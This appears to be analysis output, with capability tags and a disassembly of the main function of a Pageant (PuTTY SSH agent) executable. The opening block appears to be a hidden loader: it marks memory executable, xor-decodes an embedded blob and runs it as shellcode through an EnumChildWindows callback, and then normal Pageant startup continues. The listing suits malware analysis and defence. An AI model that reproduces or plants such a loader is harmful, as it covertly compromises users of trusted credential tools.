Function at 0x41cbc0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2340
call fcn.0041f590
mov eax, dword [0x4745fc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x22ec], ebx
mov dword [ebp - 0x22f4], eax
mov dword [ebp - 0x22e8], 0
call fcn.0041bcc0
push 0x22d6
lea eax, [ebp - 0x22dc]
mov dword [0x476468], ebx
push 0x467e58
push eax
mov dword [0x476470], 0
call fcn.00420370
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add esp, 0xc
push str.kernel32.dll
call esi
push str.user32.dll
mov edi, eax
call esi
push str.VirtualProtect
push edi
mov dword [ebp - 0x22f0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov bl, byte [ebp - 0x22dc]
mov esi, eax
mov edi, dword [sym.imp.USER32.dll_MessageBoxA]
lea eax, [ebp - 0x22e0]
push eax
push 0x40
push 0x22d5
push edi
xor bl, 0x90
mov dword [ebp - 0x22e0], 0
call esi
test eax, eax
jne 0x41cca2
push 4
push 0x1000
push 0x22d5
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea eax, [ebp - 0x22e0]
push eax
push 0x40
push 0x22d5
push edi
call esi
lea esi, [ebp - 0x22dc]
mov ecx, edi
sub esi, edi
mov edx, 0x22d5
nop
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
nop
xor al, bl
mov byte [ecx - 1], al
nop
nop
sub edx, 1
jne 0x41ccb1
push str.EnumChildWindows
push dword [ebp - 0x22f0]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push edi
push 0
call eax
call fcn.0041c1c0
test eax, eax
je 0x41d317
cmp dword [0x476490], 2
jne 0x41cd32
mov dword [0x475158], 1
call fcn.0041e730
test eax, eax
jne 0x41cd3c
push 0x10
push str.Pageant_Fatal_Error
push str.Unable_to_access_security_APIs._Pageant_will_nnot_run__in_case_it_causes_a_security_breach.
push eax
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041f265
mov esp, ebp
pop ebp
ret 0x10
mov dword [0x475158], 0
call fcn.0041b960
push 0x7f0
lea eax, [ebp - 0x808]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea esi, [ebp - 0x808]
mov eax, esi
push 0x5c
push eax
call fcn.00421370
add esp, 8
test eax, eax
je 0x41cd75
mov ecx, esi
cmp eax, ecx
jb 0x41cd75
lea esi, [eax + 1]
lea eax, [ebp - 0x808]
push 0x3a
push eax
call fcn.00421370
add esp, 8
test eax, eax
je 0x41cd91
cmp eax, esi
jb 0x41cd91
lea esi, [eax + 1]
movq xmm0, qword [str.putty.exe]
movq qword [esi], xmm0
mov ax, word [0x46a1ec]
mov word [esi + 8], ax
lea eax, [ebp - 0x808]
push 0x466b04
push eax
call fcn.0043e779
mov esi, eax
add esp, 8
test esi, esi
je 0x41cddd
lea eax, [ebp - 0x808]
push eax
call fcn.00402240
push esi
mov dword [0x47514c], eax
call fcn.0043e2f0
add esp, 8
jmp 0x41cde7
mov dword [0x47514c], 0
call fcn.0041e2e0
mov dword [0x475148], eax
test eax, eax
jne 0x41cdfa
call fcn.00405690
lea eax, [ebp - 0x22fc]
push eax
lea eax, [ebp - 0x22f8]
push eax
lea eax, [ebp - 0x22e4]
push eax
push dword [ebp - 0x22f4]
call fcn.0041ee20
mov ebx, dword [ebp - 0x22e4]
add esp, 0x10
xor edi, edi
test ebx, ebx
jle 0x41cf74
nop dword [eax]
mov eax, dword [ebp - 0x22f8]
mov ecx, str._pgpfp
mov esi, dword [eax + edi*4]
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41ce60
test dl, dl
je 0x41ce5c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41ce60
add eax, 2
add ecx, 2
test dl, dl
jne 0x41ce40
xor eax, eax
jmp 0x41ce65
sbb eax, eax
or eax, 1
test eax, eax
je 0x41d043
mov ecx, 0x46a1f8
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41ce94
test dl, dl
je 0x41ce90
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41ce94
add eax, 2
add ecx, 2
test dl, dl
jne 0x41ce74
xor eax, eax
jmp 0x41ce99
sbb eax, eax
or eax, 1
test eax, eax
je 0x41cf60
mov ecx, str._restrict_acl
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41cec8
test dl, dl
je 0x41cec4
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41cec8
add eax, 2
add ecx, 2
test dl, dl
jne 0x41cea8
xor eax, eax
jmp 0x41cecd
sbb eax, eax
or eax, 1
test eax, eax
je 0x41cf60
mov ecx, str._restrictacl
mov eax, esi
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41cf00
test dl, dl
je 0x41cefc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41cf00
add eax, 2
add ecx, 2
test dl, dl
jne 0x41cee0
xor eax, eax
jmp 0x41cf05
sbb eax, eax
or eax, 1
test eax, eax
je 0x41cf60
mov ecx, 0x46a228
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41cf30
test dl, dl
je 0x41cf2c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41cf30
add eax, 2
add ecx, 2
test dl, dl
jne 0x41cf10
xor eax, eax
jmp 0x41cf35
sbb eax, eax
or eax, 1
test eax, eax
je 0x41d023
push esi
call fcn.0041be40
mov esi, eax
push esi
call fcn.0041e180
push esi
call fcn.0041be20
add esp, 0xc
mov dword [ebp - 0x22e8], 1
jmp 0x41cf65
call fcn.0041eb60
mov ebx, dword [ebp - 0x22e4]
inc edi
cmp edi, ebx
jl 0x41ce30
xor ebx, ebx
mov esi, ebx
call fcn.00404400
test ebx, ebx
je 0x41cfe5
mov cl, byte [ebx]
lea eax, [esi + 1]
cmp cl, 0x22
cmovne eax, ebx
mov ebx, eax
xor eax, eax
cmp cl, 0x22
sete al
lea eax, [eax*2 + 0x20]
push eax
lea eax, [esi + 1]
cmovne eax, esi
push eax
call fcn.004208f0
mov esi, eax
add esp, 8
test esi, esi
je 0x41cfd8
mov byte [esi], 0
inc esi
mov al, byte [esi]
test al, al
je 0x41cfd8
nop dword [eax]
movsx eax, al
push eax
call fcn.0043d8d0
add esp, 4
test eax, eax
je 0x41cfd8
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x41cfc0
push dword [ebp + 0x14]
push esi
push ebx
call fcn.0041dea0
add esp, 0xc
cmp dword [0x475148], 0
je 0x41d04d
test ebx, ebx
jne 0x41d00e
cmp dword [ebp - 0x22e8], ebx
jne 0x41d00e
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
push 0x10
push str.Pageant_Error
push str.Pageant_is_already_running
push ebx
call eax
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041f265
mov esp, ebp
pop ebp
ret 0x10
lea eax, [ebx - 1]
cmp edi, eax
jge 0x41d039
mov eax, dword [ebp - 0x22fc]
mov ebx, dword [eax + edi*4 + 4]
jmp 0x41cf76
mov ebx, 0x4622f0
jmp 0x41cf76
call fcn.0041ed40
jmp 0x41cd1a
cmp dword [ebp + 0xc], 0
mov esi, dword [ebp - 0x22ec]
jne 0x41d0df
push 0xc8
push esi
mov dword [ebp - 0x2324], 0
mov dword [ebp - 0x2320], 0x41d330
mov dword [ebp - 0x231c], 0
mov dword [ebp - 0x2318], 0
mov dword [ebp - 0x2314], esi
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f01
push 0
mov dword [ebp - 0x2310], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 4
mov dword [ebp - 0x230c], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0x2308], eax
lea eax, [ebp - 0x2324]
push eax
mov dword [ebp - 0x2304], 0
mov dword [ebp - 0x2300], str.Pageant
call dword [sym.imp.USER32.dll_RegisterClassA]
push 0
push esi
push 0
push 0
push 0x64
push 0x64
push 0x80000000
push 0x80000000
push 0xef0000
push str.Pageant
push str.Pageant
push 0
mov dword [0x475138], 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
push eax
mov dword [0x476470], eax
call fcn.0041c560
add esp, 4
call dword [sym.imp.USER32.dll_CreatePopupMenu]
cmp dword [0x47514c], 0
mov esi, dword [sym.imp.USER32.dll_AppendMenuA]
mov dword [0x475140], eax
je 0x41d184
call dword [sym.imp.USER32.dll_CreateMenu]
push str.New_Session
push 0x60
push 0
push dword [0x475140]
mov dword [0x475144], eax
call esi
push str.Saved_Sessions
push dword [0x475144]
push 0x10
push dword [0x475140]
call esi
push 0
push 0
push 0x800
push dword [0x475140]
call esi
mov eax, dword [0x475140]
push str.View_Keys
push 0x20
push 0
push eax
call esi
push 0x46a284
push 0x30
push 0
push dword [0x475140]
call esi
push 0
push 0
push 0x800
push dword [0x475140]
call esi
call fcn.0041b940
test eax, eax
je 0x41d1cc
push 0x46a290
push 0x40
push 0
push dword [0x475140]
call esi
push str.About
push 0x50
push 0
push dword [0x475140]
call esi
push 0
push 0
push 0x800
push dword [0x475140]
call esi
push str.Exit
push 0x10
push 0
push dword [0x475140]
call esi
push dword [0x475144]
call dword [sym.imp.USER32.dll_GetMenuItemCount]
push 0
push 0x20
push dword [0x475140]
mov dword [0x475154], eax
call dword [sym.imp.USER32.dll_SetMenuDefaultItem]
push 0
push dword [0x476470]
call dword [sym.imp.USER32.dll_ShowWindow]
mov ebx, dword [sym.imp.USER32.dll_GetMessageA]
lea eax, [ebp - 0x2340]
push 0
push 0
push 0
push eax
call ebx
cmp eax, 1
jne 0x41d2c0
mov esi, dword [sym.imp.USER32.dll_IsWindow]
mov edi, dword [sym.imp.USER32.dll_IsDialogMessageA]
push dword [0x475138]
call esi
test eax, eax
je 0x41d273
lea eax, [ebp - 0x2340]
push eax
push dword [0x475138]
call edi
test eax, eax
jne 0x41d2ac
push dword [0x47513c]
call esi
test eax, eax
je 0x41d292
lea eax, [ebp - 0x2340]
push eax
push dword [0x47513c]
call edi
test eax, eax
jne 0x41d2ac
lea eax, [ebp - 0x2340]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x2340]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push 0
push 0
push 0
lea eax, [ebp - 0x2340]
push eax
call ebx
cmp eax, 1
je 0x41d254
mov eax, dword [0x476470]
mov dword [ebp - 0x200], eax
lea eax, [ebp - 0x204]
push eax
push 2
mov dword [ebp - 0x204], 0x1fc
mov dword [ebp - 0x1fc], 1
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
push dword [0x475140]
call dword [sym.imp.USER32.dll_DestroyMenu]
mov eax, dword [0x475150]
test eax, eax
je 0x41d30c
push eax
call fcn.0041ebf0
add esp, 4
push dword [ebp - 0x2338]
call fcn.0041d9d0
push str.Windows_refuses_to_report_a_version
call fcn.0041dcf0
int3